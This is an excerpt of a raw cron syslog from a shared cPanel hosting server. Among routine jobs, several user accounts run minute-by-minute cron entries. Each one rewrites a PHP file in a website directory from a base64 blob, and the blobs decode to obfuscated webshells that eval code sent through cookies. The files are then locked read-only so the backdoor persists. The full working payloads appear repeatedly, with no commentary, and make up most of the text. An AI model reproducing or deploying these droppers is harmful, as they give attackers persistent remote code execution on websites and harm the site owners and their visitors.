"$fp"; fi; chmod 444 "$fp")
Mar  2 10:05:01 medusa CROND[30282]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:05:01 medusa CROND[30277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:06:01 medusa CROND[16029]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:06:01 medusa CROND[16314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:06:01 medusa CROND[16316]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:06:01 medusa CROND[16317]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:06:01 medusa CROND[16318]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:06:01 medusa CROND[16323]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:06:01 medusa CROND[16324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:06:01 medusa CROND[16322]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:06:01 medusa CROND[16330]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:06:01 medusa CROND[16331]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:06:01 medusa CROND[16332]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:06:01 medusa CROND[16335]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:06:01 medusa CROND[16338]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:06:01 medusa CROND[16315]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:06:01 medusa CROND[16350]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:07:01 medusa CROND[4489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:07:01 medusa CROND[4722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:07:01 medusa CROND[4723]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:07:01 medusa CROND[4725]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:07:01 medusa CROND[4726]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:07:01 medusa CROND[4728]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:07:01 medusa CROND[4730]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:07:01 medusa CROND[4736]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:07:01 medusa CROND[4743]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:07:01 medusa CROND[4744]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:07:01 medusa CROND[4747]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:07:01 medusa CROND[4749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:08:01 medusa CROND[21847]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 10:08:01 medusa CROND[21899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:08:01 medusa CROND[21988]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:08:01 medusa CROND[21989]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:08:01 medusa CROND[21991]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:08:01 medusa CROND[21992]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
